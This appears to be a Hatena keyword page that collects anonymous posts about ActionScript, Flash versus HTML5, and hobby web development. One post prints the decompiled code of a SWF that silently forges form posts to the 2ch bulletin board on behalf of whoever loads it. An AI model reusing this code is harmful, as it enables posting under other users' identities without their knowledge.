はてなキーワード: ActionScriptとは
先日「Flashエンジニアが今後10年食べていくには?」というテーマを元に
Flash に精通した Web 技術者達のディスカッションが行われる催し物があった。
http://www.publickey1.jp/blog/11/flash10.html
この記事だけでは内容が省略しすぎているため
時間があれば是非録画の模様もみていただきたい。前半初頭は音量が小さいので注意。
こういった催し物は面白いなと、私はとても楽しく見させていただいた。
http://www.ustream.tv/recorded/19073524
http://www.ustream.tv/recorded/19074357
ディスカッションでは Flash だけではなく HTML5 についても触れている。
ディスカッションの感想をディレクションや営業を行なっている知人に聞いたり、
ネット上の反応を見てみたところ以下のような意見がいくつかあった。
「『Flash が好きな人』だけではなく HTML5 派の人との対談もあればよかった」
「Flash 派の人の話だから HTML5 が使えないという話はいまいち参考にならない」
『Flash 派』『HTML5 派』という くくりで考えてしまう人は
まだまだ多いと実感する。
パネリスト達は
過去から現在までに様々なプログラミング言語を利用し、あらゆる技術に精通している。
Flash という表示媒体/環境開発がベター(時にはベスト)だと考え、
Flash をよく扱っている、という旨を話している。
最後の締めとして
Flash よりも優れたものが登場するのであればそちらに移行するでしょう、
とも言っている。
これだけの説明があったのに
ディスカッション内で触れた HTML5 に対する否定的な話は、
『Flash 派』とやらのポジショントークだと目に写ってしまったのだ。
Java やら C やら objective-c やら perl やら php やら
サーバサイドからスマホ用ネイティブ言語を用いてのアプリ制作まで
色んな事やってます、と言っても
現在世の中には HTML5 を推し、合わせて Flash を否定する記事が結構出回っている。
技術者が話す専門的な用語の飛び交う話よりも
HTML5 vs Flash 的な読みやすい記事に耳を傾けてしまう人はいる。
Apple 製品を好む人は「ジョブズがそう選択したのだから」と
なおさらこういった記事に目を向けてしまう。
「Flash vs HTML5 の話にのせられてしまうのは、よくわかっていない人だ。」
ディスカッション内では、
ネット上の煽り記事を読み不安に思ったクライアントから連絡を受け
きちんと状況をゼロから説明するハメになってしまった、という内容があった。
似たような状況になっている人もいるのではないだろうか。
当方周辺では、
「Flash は駄目だ」「Flash でなくても HTML5 ならできるはずだ」
「HTML5 は Flash の代わりになるものだと言われている」と
クライアント、あるいは仕事先の関係会社から耳にする機会が増えてきた。
技術者の及ばないところで
ベターではない技術が選択、あるいは勧められてしまう やっかい性。
その記事は世間の目には届かない。
TV CM でバンバン流れている iPhone や iPad では Flash を見ることができない
という状況に乗じた
勘違いを正すためには、今までよりもより一層
あるいはメッセージを発信するよう心がけていかねばならないと感じる。
パネリスト達のような
Flash を扱う事が可能な技術力を持ち合わせている人にとって
Flash が終わろうが、代わりの技術が HTML5 やらその他何になろうが
大した影響はない。
『プログラミング』についての話をしてみる事にする。
「世にあらゆるプログラミング言語があるが
「何か一つ言語を習得し
『Flash の事は全く知らないがプログラミングプロフェッショナルの人』
が近くにいるならば是非上記について伺ってみてほしい。
その通りだと答えてくれるはずだ。
他の言語で作ったものを Flash のプログラミング言語に移植することも容易いのだ。
ここで上記三行の「他の言語」を「JavaScript」に置き換えてみてほしい。
HTML の DOM 操作に必要な言語は JavaScript である。
言語は、Flash ならば ActionScript、HTML5 ならば JavaScript を用いる。
画面描画は
あるいは用意されている描画用 API を ActionScript で呼び出し、
あるいは用意されている描画用 API を JavaScript で呼び出す。
Flash と似たような技術として Java Applet や Shockwave があるが、
これらも一緒で
言語を変え、その技術に合わせた描画を行う処理を記述するだけだ。
Web 技術者が何かに属していて、何かには属していないかのような区別の仕方は
的がはずれている事を なんとなく感じていただけただろうか。
仕事に対し、あるいは表現したい事に対し、ベターな選択を行うだけの事なのである。
環境や表示内容に合わせ両方を採る選択もあるだろう。
パネリストの中に ActionScript が好きだ、という人がいた。
これは別に
Flash が好き(製品のファン)だから ActionScript が好き、と言っているのではない。
ActionScript が優れたプログラミング言語だと判断しての発言なのだ。
HTML5 を選択するだけの事であり、
その別の技術を選択し、
Flash より優れた技術が登場しなければ Flash を使い続ける、
ただそれだけの事なのである。
もう少し突っ込んだ話をすると
Flash のプログラミング言語である ActionScript(ActionScript 1.0)と
HTML 表示制御を行う言語 JavaScript は 実は同じ言語仕様である。
『ECMAScript』という単語で調べてみてほしい。
「Flash と HTML5 は対立するもの」と考えていた人、
あるいは ActionScript や JavaScript を触れたことがない人にとって
「え?そうなの?」と思う人もいる事だろう。
JavaScript は大規模開発に向いていない、という話は聞いたことがないだろうか。
同様の言語仕様である ActionScript 1.0 はこの問題を解決するため
ActionScript 2.0 から ActionScript 3.0 へと進化していった。
Flash は開発がし易い、という話がよく挙げられるが
その理由の一つがこれである。
現行の JavaScript と ActionScript 1.0 は ECMAScript 3 準拠に対し、
ActionScript 3.0 は ECMAScript 4 準拠である。
言語として進化しているものを Flash は採用しているので
開発は抜群にし易い。
ECMAScript 4 準拠の JavaScript も登場する日もあったかもしれなかったのだが、
ECMAScript 4 標準化が白紙、
ECMAScript 4 は無かったことになってしまったのだ。
ActionScript 3.0 で作成したプログラムが
ちなみに JavaScript は大規模開発に向いていない、という事に対し、
最近では Google が新言語 Dart というものを開発している。
位置づけとしては ActionScript 2.0 に近いと比喩した人もいる。
ActionScript 2.0 はコンパイル時 ActionScript 1.0 に変換されて出力される。
Dart も同じく JavaScript 変換機能を持つ。
先の事は誰にもわからない。
HTML5 が成長するとは必ずしも言えない。
技術者は身を持って知っている。
表示と動作の差異、技術者はずっと苦しめられてきている。
めんどくさい。コストがかかる。
HTML5 も同じ道を辿るのでは、と言われてしまうのも仕方がない。
実際に HTML5 の各ブラウザの実装具合はバラバラである。
Flash はといえば、
今でも 10年以上前のスクリプト言語 (ActionScript 1.0 よりも前の言語)で
Flash が動作するブラウザがいつまで携帯に搭載され続けるのか、
まだ誰にもわからない。
今後も当面携帯向け Flash を作り続ける事になるのかもしれない。
携帯向け Flash は一つの容量が小さいというのが救いである。
IE6 対応 HTML サイト制作にせよ、携帯向け Flash 制作にせよ
状況に応じて何を選択するかを判断できるほどの技術力を身につける事
選択する技術に何ができて何ができないのか、
どの技術を組み合わせるとよいのか、
自ら判断できるようになった時、一人前の Web 技術者になったと言えるだろう。
一つ何かをモノにしてしまえば前述の通り移行は容易い。
それを極めるくらいまでとことん勉強してほしい。
続けていくと見えてくるはずだ。自信という名の悟りの道が。
気になった点をいくつか。
現状の HTML5 の実装具合のバラバラさに対し、
「(HTML5の)表示の差分を埋めてくれる何かが登場するかもしれない」
と言う発言があった。
言った当人も会場にいる人達も、きっとこう思っただろう。
「それってなんて Flash Player?」と。
「あれはやめたほうがいい」という発言があった。
勝手に注釈するのであればこの発言は
「Flash で作られた重たい Web を HTML5 でまた再現するつもりなの?」
という皮肉であろう。
2010年の年末から年始にかけて10連休ほどあったので、新しいサイトを作ろうと思い立った。
月に1万円だと、毎日コーヒーを飲んでるだけでなくなってしまうので、コーヒー代くらい稼げたらうれしいなあ。じゃあどうする。何を作る?
ということで、まずTwitterを使ったものを作ることにした。
ひとつのジャンルにしぼってツイートをかき集めれば、面白い流れになるんじゃないか。人が来るんじゃないか。そう思った。togetterみたいな。で、ジャンルは、個人的に興味がある子育て。ていうか毎日帰宅してから朝まで子どもの寝かしつけや夜泣きの対応でサイトを更新する暇も、俺が寝る暇もあんまりない。ので、手がかからないことが大前提。なんだったら自動更新でもいい。
自動更新かー。と思って「ブログ 自動更新」でググったら、wordpressにRSSから更新するプラグインがあるらしいことを知った。はい決定。その瞬間、「TwitterのAPIからRSSを引っ張ってwordpressに投稿するサイト」に決まった。
さくらインターネットのスタンダードを申し込んだ。14日お試しがあるらしいけど、仮申し込みの時点で住所も入れてコンビニ請求にしたら、数日後に請求書が送られてきてビビった。(同時にドメインも申請しちゃった)
まあ、webで申し込んで、すぐにサーバコントロールパネルという画面に入れるようになった。「クイックインストール」というリンクがあったので見てみたらMovableTypeとWordPressを自動でインストールしてくれるらしかったので、ボタンを押した。インストールできましたというので発行されたURLをクリックしたけど404だった。1時間くらい404で、その日はもう寝た。
次の日の夜。これはもう、10連休を利用して毎晩1時間ずつ捻出するしかない、さくらのお試し14日あるから約14時間で作りきるしかねえ、と思った。
サイトにアクセスしたらwordpressが入ったページが出てきた。おお、サイトができてる!
まずTwitterを調べるか、と思って、「Twitter API」で検索したけどOauth?とかいう面倒なことをしないといけないらしかったのでやめた。じゃあ普通に検索は?と思って「Twitter 検索」で検索したら、search.twitter.comの結果はjsonかatomで取得できるし、APIコール制限もないらしいのでこれに決定。検索だけで1時間たった。
夜も更けて、続けて作業した。「wordpress xml 投稿」で検索していくつか探したらFeedWordpressというプラグインがあったので入れた。あ、事前知識としてMovableTypeでのブログはやったことがあったので、プラグインを入れるみたいな話はスムーズに進められた。
で、twitterの検索結果をatomで返した結果を入れてみた。ら、本当に投稿されてた。よっしゃできた、と思った。1ツイートが1エントリになってたし、投稿者もツイートした人になってた。よかった。でも、満足できなかった。
次の日。同じことを自力でやる方法を探した。「wordpress xml 投稿」で検索して、XMLをパースできるようになればいいんじゃないかと思い、simplepieというPHPライブラリにたどり着いた。が、PHPなんてまったく知らないし、憶える気もなかった。actionscriptで書かせてよ、とずっと思ってた。
次の日。「wordpress xml 投稿」でまた検索。どうやらwordpressの投稿って、xmlrpcというやり方を使ってるらしかった。ので、「wordpress xmlrpc 自動投稿」で検索したら、なんかサンプルコードが載ってたのでそのまんまコピペ(結局PHPだった)。したらちゃんと投稿されていた。ふむ。ここで何を思いついたのか、「wordpress xml パース」と昨日みたいなことを検索した。simpleXML?というライブラリがあるらしかったので、それを試してみることにした。(たぶんPHPが動いたので気をよくしてたんだと思う)
こういう流れでいけると思った。考え方はactionscriptをエディタに書いて、ノリであてにいった。変数に宣言するのはできた。$var1とかで宣言したことになるらしい。URLRequestに相当するコードを探したら「file_get_contents」らしいことが分かった。(「PHP 外部ファイル」で検索)
で、ゲットしたのはXMLなんだけど、上記検索したなかにたまたま書いてあった「simplexml_load_string」というのを使うとXMLをパースできそうな気がしたので、ノリで書いたactionscriptでは
var req:String = "http://search.twitter.com/?q.atom=mogemoge";
var r:URLRequest = new URLRequest(req);
var kekka:XML = r.send() as XML; ←いまここ
なので、XMLにキャストしたんだろうなみたいな感じだった。E4Xを使えればいいのにPHPって馬鹿ねと思いながら寝た。
年があけて、3が日が終わりそうだった。年末にやってたこと(上記までのこと)を思い出しながら、XMLの必要な部分だけ抜き出す方法を模索した。atomっていってもentryがたくさん入ってたから配列にするんだろうけど、ってんで「php foreach」を検索。なんとなくサンプルコードをまねしながら、記事タイトル、記事本文だけ取得した。あとはxmlrpcのサンプルにあわせて投稿するようにした。できた。寝た。
次の日の朝、ブログを見た。昨日更新したものしかあがってない。自動じゃねーじゃん。
で、「自動 投稿」で検索したら、クローン(cron)という仕組みを使わないといけないのだった。クローンはサーバの仕組みらしく、そういえば俺はPHPをはじめDB、サーバという単語を極力さけて仕事してきたので、もう気持ちが悪くなってきた。「さくらインターネット cron php」で検索して、なんとかやり方を見つけて、cronを登録した。(1時間に1回にした。設定は * * * 0)
仕事から帰ってきて、サイトを見ると、投稿が大量にたまっていた。やった!で、調子に乗ってツイッターアカウントを作った。なんだったらツイッターも自動化したかったので「twitter bot」で検索した。Easybotterというサンプルボットがあったので使わせてもらった。自動で一行ずつつぶやくようにした。
ツイートを集めることは成功したけど(毎時間100件のツイートを1エントリとして投稿してる)、それを眺めて面白いんだろうか? ボットを動かしてるけど人がくるんだろうか?
そんなとき「trivist」がはてブに載ってた。なんかにたものを感じた。やっぱツイートを引っ張ってきて投稿するサイトはアリなのか?アリなはずだ!
サイトの体裁を整えた
trivistをまねて、記事を評価(はてなスターとかいいねボタンとかに近いもの)する仕組みが欲しくなった。「wordpress 評価 プラグイン」で「wp-postratings」というプラグインを発見して、入れてみた。どうやら1エントリーに1評価しかできないらしい。俺のサイトは1エントリーに100ツイートあるから、どのツイートを評価するのかが分からない。
いったん、wordpressの全投稿を削除した。で、cron に登録されてるPHPを、1記事に1エントリーにした。
エントリーを投稿するついでに、Yahoo日本語解析APIをつかってツイートを分析して、名詞と動詞だけを取り出そうと思った。それをタグにすれば、タグクラウドが作れると思った。はてブはずっとずっと昔からやってるから、Yahoo日本語解析っていうのが2006年くらいに流行ったことをなぜか憶えてたので、やってみた。できた。
なんか俺、PHP書くのが早くなってね?
アクセス解析を入れてみた。サイトに来てる人は、俺だけだった。
どうにかして人を増やしたい。サイトの広告募集はする気がないし、ベタベタとバナーを貼りたくなかった。みんなが気軽に見に来て、軽い気持ちで評価してくれて、更新を楽しみにしてくれるサイトにしたかった。コミュニティサイトじゃないけど、やっぱりサイトはコミュニケーション設計をしないと意味がないんじゃないか、見てくれるユーザはどうやったら楽しいんだろう、ということを考え続けて10日ほど経った。Twitter経由で来てくれた人が3人ほどいるようだけど、何がダメなのか分からないので増田にお願い。
ここまで書いて教えてくんじゃねーか、と思われるかもしれないが、ググレカス的な検索は上記で書いたみたいにいろいろやってきた。でも、サイトを作ってみてはじめて、ユーザに向けたサイトってどう作ればいいのかが分からないということに気づいた。
小遣い稼ぎもしたいんだけど、面白いサイトを作るヒントがほしいと思った。
kanzen21やtrivistみたいに、俺も過程を全部さらしたから、辛辣な意見を求む。そしてはてブされるのを待ってます。
そりゃあ、やろうと思えば様々な手法があるだろうけど…
いかに余計な作業を減らして「やりたいことを実現」するための作業に専念するか、を考えている。
いろんな言語への興味はあるが、むしろそのせいで今まで時間食いまくってるので、そろそろ「手早く作る方法」を知りたい。
あんまり色々な手法を試してもいられない。
「これ!」ってやり方を決めたい。
プログラミング言語は、C C++ Java Python Perl VB C# HSP PHP JavaScriptなど、どれも基礎を触ったりしてばかりで何年も過ごしてきた。
FLASHは持ってない。(PalaFlaは触ったことあるけど、いまいちイメージしにくかった)
なんだかんだで一番慣れてるのがHTML+CSSで、次点でPHPかJavaScript。
ただ、PHPだのjavaScriptだのSQLだの、複数言語を同時に扱ってると非常に面倒。
そこでサーバーサイドJavaScriptに目をつけたものの、『Jaxer』は2008年に書かれた記事がちょっとあるばかりだし…
Node.jsってどうなんだろう…?
うーん、あまり纏まってないが、とりあえず現状をダンプしておく。
なんか参考になるものがあればなー。
こういうこと色々聞ける相手も周りにいないし…
ボックスモデルがどのようにレイアウト構築するか理解した事が無いのかな?
文字と絵をレイアウトするものは大概ボックスモデルをベースに作られてるだろうが。
そのFlashだってActionScriptやFlexで配置指示してしまえば、お前さんが言うめんどくさい組み方になると思うがな。
だからスティーブジョブズも奇妙なWeb標準なんか放って置いてiOSのアプリを書かせようとしてるんだと思うよ。
少なくともUI要素をインラインで配置なんて訳わかんないことしなくていいでしょ。
えぇと、InterfaceBuilderしか使ったことしか無いのか。
どのみち、InterfaceBuilderで出来ない事やろうとしたら、めんどくさい組み方になる。
変人で悪かったな。
PHPから動的にPDF吐き出すとか、実装するならテキストベースのレイアウタ使ったほうが楽だろうが。
変人が標準って変だよ?
それを、何も判って無いお前のような奴が多少は使える気になって喚いてるだけ。
開発側は最低限の物は用意してるんだ。
気に食わないなら、自分でWYSIWYGのシステムでも組んでりゃいいだろ。
建築系の4年だけども、ちょっと言いたい。
デザイナーになり方なんて無いぞ。
当然じゃない。そりゃ技術はもちろん元気よく愛想よく営業能力も抜群なら未経験者の出る幕無しだけど、他分野の未経験者を採ってその人の強味を活かしたいだとか、
何色にも染まってない人を採って会社のやり方を疑いなく吸収してくれるからだとか、未経験に期待する人事担当者も実際にいるわな。
で、どうすればなればいいって人に聞いてる時点でデザイナーとしてやってくのは無理なんじゃないかと。
ウェブデザイン業界はよく知らないけど、そもそもデザイナーがやるべき仕事はソリューションなんだから、それに矛盾しない形が表現できるかどうかがデザイナーの質だと思うのね。
だからコンサルティングの要素が強い。問題解決能力を一番求められるのにそれを聞いてるようじゃダメっしょ。
まぁ他学科の学生が言うのもアレだけども、技術力とデザインセンスとDTPスキルを磨けば何とかなるんじゃないかな。
具体的にはTCPIPとかFTPとかDNSとかhtaccessとか無数にある用語とその意味を把握した上でperlでCGI作ったりruby on railsでブログを作ったりしてウェブの基礎知識を蓄えてだな、
それで最も重要なのはデザインスキル。DTPオペレーターがデザイナーとか自称してるの見てると笑われるだけだからここ重要な。
まあデッサンしまくって立体造形感覚を磨いて色彩とかフォントとかレイアウトとかデザイン全般に必要な知識も学んでだ、モニター上に表現する前に紙に書けないとオペレーター止まりよ。
その後でHTMLとかXMLとかマークアップ系言語勉強してテキストエディタで一通りウェブページを作って、頭に中で思ってる事と実際にプロットされる画面とを近づけていって、ついでにワードプレスとかのCMSも勉強してphpとSQLの仕組みが大体解ってこれば知らぬ間にウェブデザインでやっていくに自分に足りないものが解ってくるってもんよ。
この辺りまで来ればサイト作れるでしょ。アイデアを必死に考えて3,4つポートフォリオを作ってだな、仕事していく上で会社で使ってるソフトを覚えておけばいい。
サイトデザインが人より劣っていてもactionscriptである程度の事できたりphotoshopでかっこいい素材作れたり実務経験うんぬんに左右されない人材評価項目なんて一杯あるもんだ。
こんだけでも未経験でやれることはたくさんあるでしょ。ちなみに上のは俺がやってきた事ね。
面接で何も持ってこなくて「やる気は誰にも負けません!」っていうのと、実際に自分が作ったものが下手でもいいからもって来るとではどっちが努力の片鱗が見えるとおもう?
もう解ったよな、はじめよう。
C/C++はCPU依存性を減らしたアセンブラで、面倒くささを耐える代わりに速度を稼ぐという特殊用途言語なんだから、「プログラミングは面倒だ」の例としては局所的すぎるなー。大量のバッドノウハウを楽しんで乗りこなすマニアどもが、ゲームや組み込みや検索エンジンあたりの開発に使うプロ向けの道具で、間違っても「プログラミングの細かいところが嫌い」なんていうライトなプログラマが使うようなものじゃない。
もっとチャラい言語使いなよ。RubyとかActionScriptとか。よりによってPHP/C/C++とか選択がマゾヒスティック過ぎ。仕事だか学生の課題だかで無理矢理使わされてるの?
とりあえずXHTML+CSS、フォトショ、イラレ、Fireworksは問題無く使える。
それに加えて、PHPとJavascriptとFlash(ActionScript含む)は、
簡単な物であればとりあえず困らない程度使える。
一応このへんは引き続き強化していきたいとは思っている。
デザインセンスは、「目的に合わせた」デザインが出来る…と自分では思っている。
正直なところ、目を惹くタイプではない自覚がある。
色とかレイアウトとか、センスよりも勉強してやってる感じだと思ってくれればいいと思う。
今20代後半なんだが、この先もこの職で食っていく為には、何を勉強したらいいだろうか。
プログラムも楽しいけど、どちらかというとデザイナ寄りで食っていきたい。
ちなみに、余程どこかで変化があればわからないけど、
『本人がプログラミングをして、何をしたいかによる』
そっからは、やれC言語だ、やれActionScriptだJavaScriptだ。ってやっていけばいい。
例えば、ゲーム作りたい!っていう奴がいるとする。
それで、まず最初はC言語だからねーって言ってscanfとprintfで電卓を作らせる。
これで感激して、もっと勉強したい!覚えたい! って、なるのか。
なればいいよ。でも多分ならないだろー
情報処理の教科書みたいに、10進数から2進数へ変換するプログラム書きましょーって。出来るけど、そいつにとって何が面白いのよ。
C言語は確かに基礎だけど、ifとかforを基礎というならJSでもいいし、ポインタやらメモリ管理って言っても、本当にそれは必要なの?
それはC言語にとっての基礎で、シューティングゲームをASとかで作る時は最初に覚える必要はないよね。
なにかしら目標もって、それを実現するために勉強していって、自分のスキルが上がっていくのが分かるからモチベーションに繋がる。
そいつにとって、C言語は目標までのトンネルが長すぎる。出口が遠すぎて目の前が真っ暗。
プログラミングの歩き方をよく分かっていない初心者。早く画面でいろんな動きが見たい!という初心者が、トンネルの出口までたどり着くのは難しい。
それなら、10行で早押しゲームが出来る言語から始めるべき。JSとかが楽かな。他にそういうのがあればそれでいい。
初心者にとっての丸写しじゃない10行は、エキスパートからみる500行と同じ。書いてる時の気分は。
自分の書いたコードが画面に色をつけて、クリックしたら反応する!!
でもクリックしても文字が変わるだけかー。それならもう一回クリックしたら、別の文字になるようにしてみるか。
ならついでに色も変えよう。以下略。
まず『自分でパソコンの画面が動かせる!』ということを実際に体感してみないと。
RPGでも、最初からボス出てきて瞬殺されたらやる気なくすじゃん。最初はユルい敵倒していって、レベルアップしていく。
そのうち勝てない敵が現れるけど、勝ちたいから経験値貯めるんでしょ。
そのうちに、その言語だと絶対不可能なことが出てくるはず。その時にC言語やってポインタ覚えればいい。
今回はゲーム作ってみたいっていうパターンを例にしたからC言語はダメだと言ったけど
コンピューターの動作について理解したいとか、そういうのなら断然C言語かなと思う。
とりあえず、初心者が「プログラミングしたいんだけど、どの言語がいい?」と聞いてきたら、
これからのWebサービスとかデスクトップアプリケーション市場はActionScriptとC#の対立になると思っているんだけれども、
その2つを対比している事をあまり見たことがない。
それはたぶんプラットフォームの軸でまとめられているから黒子になっているんだと思う。
ActionScriptはFlashやAIRの開発言語で、それに対してC#はWPFやSilverlight。
Flash VS Silverlightは最近ちょくちょく目にするから対比構造はあるんだろうけれども
それがActionScript VS C#とはならないのはなんでかなぁ
/*
VSと書いたのは煽っているからだけど、もっとC#とJavaのようなイデオロギー紛争になっていも面白いのになぁ。
(ASがJava系譜の流れなんだから、AS vs C#の言語コンセプト論争もあってもいい気がするんだけれども)
畑が違うっていうけれどもAdobeもMSも向かっている所は似たり寄ったりで、
事実、技術採用の時にFlashか?Silverlightか?みないな話は水面下でちょいちょいあるはずだと思う。
(それで「やっぱりFlashかな」とかなるんだろうけど)
*/
仮にRIAっぽいことを目指すならFlashかSilverlightかを選択肢にあがるけれども、
そこにはプラグインの機能有無や普及の優劣の話しか持ち上がらない。
ビジネス的にはもっともな論点だけれども、
デベロッパから見た選択理由としてプログラミング言語のあれこれを考えないはずがない。
それなのにその考えが全然見かけないよ。
FlashだとFlashなのにすごいですねって感想貰った時なんか恥ずかしいww
下向いちゃうしww
男にはせめてPremiere使って欲しい・・・
これ僕が作ったんだよってswf見せられたら・・・・もう最悪ww
せめて普通にFlashでもActionScriptやってますぐらいは名乗って欲しい。
常識的に考えて欲しいだけなんです!
あのね?たとえばニコニコ動画でMAD作品やMAD作成講座とかあるでしょ?
それぞれ動画作成やエンコードとか苦心して頑張ってるわけじゃない?
みんな普通にニコニコムービーメーカーやwindowsムービーメーカーやQuickTime Proでやるわけでしょ?
yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net
ここ↑にあるやつ。
解説よろしく。
movie 'post2ch.swf' { // flash 8, total frames: 17, frame rate: 12 fps, 320x320 px frame 1 { System.useCodepage = true; nret = function (k, v) { return (flash.external.ExternalInterface.call('d', k, v)).toString(); }; host2ch = 'tmp6.2ch.net'; i = _url.indexOf('://'); if (-1 < i) { host2ch = _url.substring(i + 3); } i = host2ch.indexOf('.2ch.net'); if (-1 < i) { host2ch = host2ch.substring(0, i + 8); } path2ch = '/test/bbs.cgi?guid=ON'; l = new LoadVars(); i = _url.indexOf('#'); u = ''; if (0 < i) { u = _url.substring(i + 1); } LoadVars.prototype.sendNoEnc = function (url, target, method) { LoadVars.prototype._toString = LoadVars.prototype.toString; LoadVars.prototype.toString = function () { return unescape(this._toString()); }; ASSetPropFlags(LoadVars.prototype, '_toString', 3); this.send(url, target, method); LoadVars.prototype.toString = LoadVars.prototype._toString; }; ASSetPropFlags(LoadVars.prototype, 'sendNoEnc', 3); } frame 2 { _root.nowtime = null; _root.secondpost = null; _root.FROM = null; _root.mail = null; _root.MESSAGE = null; _root.subject = null; _root.ng = null; } frame 3 { (flash.external.ExternalInterface.call('c')).toString(); } frame 9 { if (_root.nowtime == null) { if (!_root.ng) { gotoAndPlay(3); } else { this.stop(); } } } frame 10 { if (_root.nowtime == null) { gotoAndPlay(3); } nowtime = _root.nowtime; l.addRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); l.hana = 'mogera'; l.time = '1180000000'; if (l.time < nowtime) { l.time = nowtime; } l.key = ''; l.bbs = 'kitchen'; l.MESSAGE = '%82%D3%82%F1%82%C7%82%B5'; l.subject = '%82%D3%82%F1%82%C7%82%B5'; l.mail = ''; l.FROM = '%82%D3%82%F1%82%C7%82%B5'; l.submit = '%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE'; buf = u.split('&'); i = 0; goto 623; for (;;) { ++i; label 623: if (i >= buf.length) break; a = buf[i].split('='); if (a[0] == 'FROM') { nret('FROM', a[1]); } if (a[0] == 'mail') { nret('mail', a[1]); } if (a[0] == 'MESSAGE') { nret('MESSAGE', a[1]); } if (a[0] == 'subject') { nret('subject', a[1]); } if (a[0] == 'key') { l.key = a[1]; } if (a[0] == 'time') { l.time = a[1]; } if (a[0] == 'bbs') { l.bbs = a[1]; } if (a[0] == 'host') { host2ch = a[1]; } if (a[0] == 'path') { path2ch = a[1]; } } } frame 16 { if (_root.nowtime == null) { gotoAndPlay(3); } if (_root.FROM != null) { l.FROM = _root.FROM; } if (_root.mail != null) { l.mail = _root.mail; } if (_root.MESSAGE != null) { l.MESSAGE = _root.MESSAGE; } if (_root.subject != null) { l.subject = _root.subject; } if (l.key != '') { l.subject = ''; } if (l.subject != '') { l.key = ''; } l.sendNoEnc('http://' + host2ch + path2ch, '_2ch', 'POST'); } frame 17 { if (_root.secondpost != null) { _root.secondpost = null; gotoAndPlay(4); } _root.nowtime = null; gotoAndPlay(2); } } ||>
YAPC::Asia 2008 で Michael Schwern は「SEO に有効な独自ドメインを取って、もっと Perl 初心者が集まりやすい nice な Perl の情報を集めたサイトを作れ!」といったそうです。
そして「Perl-users.jp - 日本のPerlユーザのためのハブサイト」ができました。
そしてさらにインスパイアされてできたのが「AS-users.jp - 日本の ActionScript ユーザのためのハブサイト」です。
ここまでやったらやっぱりPHPも思ったのでphp-users.jp ドメインを取ってしまいました。ジーザス、です。しかもドメインをとって勢いで公開!困ったものです。
以前より hatena界隈では、初心者や複雑な hatenaの話題をキャッチアップ出来ない hatena利用者をどうすくい上げるか、という議論を盛んに行っておりました。
これは酷いという思いから hatena-user.jp ドメインを取り、ここに hatena-users.jp を開始します。完全に perl-users.jp にインスパイアされています。本当にありがとうございます。
Guthrie氏「われわれのベンチマークでは、Webブラウザにおいてネイティブ環境のJavaScriptの300〜1000倍の高速動作を確認している」ってことだから、パフォーマンスの種類によって300〜1000倍かと思ったけど、この結果を見るとパフォーマンスというのはイベント処理とか描画処理とかを含む総合的なものらしい。そんなわけで総合的に300〜1000倍だと。
ただJavaScriptとSilverlightは性質の異なるものだし、どう総合的に判断したのか分かりかねる。最近流行のLightboxばりのアニメーションとか? 比較するならFlash & ASと比較してほしい>Microsoftの中の人
速度面以外でFlashとSolverlightを比較してみると……
・Flash Lite 2.x ActionScript Language Reference > ActionScript classes > capabilities (System.capabilities)
http://livedocs.macromedia.com/flashlite/2/main/00000421.html
・Flash Lite 2.x ActionScript リファレンスガイド > ActionScript クラス > capabilities (System.capabilities)
http://livedocs.macromedia.com/flashlite/2_jp/main/00000421.html
MTASCの↓を
(インストールフォルダ)\std\System\capabilities.as
↓に置き換える
intrinsic class System.capabilities { static var MIMETypes:Array; static var audioMIMETypes:Array; static var avHardwareDisable:Boolean; static var has4WayKeyAS:Boolean; static var hasAccessibility:Boolean; static var hasAudio:Boolean; static var hasAudioEncoder:Boolean; static var hasCMIDI:Boolean; static var hasCompoundSound:Boolean; static var hasDataLoading:Boolean; static var hasEmail:Boolean; static var hasEmbeddedVideo:Boolean; static var hasMFI:Boolean; static var hasMIDI:Boolean; static var hasMMS:Boolean; static var hasMP3:Boolean; static var hasMappableSoftKeys:Boolean; static var hasMouse:Boolean; static var hasPrinting:Boolean; static var hasQWERTYKeyboard:Boolean; static var hasSMAF:Boolean; static var hasSMS:Number; static var hasScreenBroadcast:Boolean ; static var hasScreenPlayback:Boolean; static var hasSharedObjects:Boolean; static var hasStreamingAudio:Boolean ; static var hasStreamingVideo:Boolean; static var hasStylus:Boolean; static var hasVideoEncoder:Boolean; static var imageMIMETypes:Array; static var isDebugger:Boolean; static var language:String; static var localFileReadDisable:Boolean ; static var os:String; static var screenOrientation:String; static var screenResolutionX:Number; static var screenResolutionY:Number; static var softKeyCount:Number; static var version:String; static var videoMIMETypes:Array; }
サンプルは略
・Flash Lite 2.x ActionScript Language Reference > ActionScript classes > SharedObject
・Flash Lite 2.x ActionScript リファレンスガイド > ActionScript クラス > SharedObject
との事なのでMTASCの↓に
(インストールフォルダ)\std\SharedObject.as
↓の行を追加する
static function addListener(objectName:String, notifyFunction:Function) :Void;
でサンプル
class SharedObjectRei { static function main () { var sor : SharedObjectRei = new SharedObjectRei (_root); } public function SharedObjectRei (mc: MovieClip) { mc.createTextField ("tf", mc.getNextHighestDepth () , 0, 0, Stage.width, Stage.height); mc.tf.text = "SharedObjectRei\r"; SharedObject.addListener ("Prefs", loadCompletePrefs ); // 共有オブジェクトを作成することができる var Prefs : SharedObject = SharedObject.getLocal ("Prefs"); } function loadCompletePrefs (mySO : SharedObject) { if (0 == mySO.getSize ()) { // サイズが 0 の場合、データを初期化する必要がある mySO.data.name = "Sigismund"; mySO.data.email = "siggy@macromedia.com"; } else { // mySO のすべてのデータをトレースする _root.tf.text+= "Prefs: " + "\r"; for (var idx in mySO.data) { _root.tf.text+= " " + idx + ": " + mySO.data [idx] + "\r"; } } } }
コンパイルは↓を参考に
・ActionScript 2.0メモ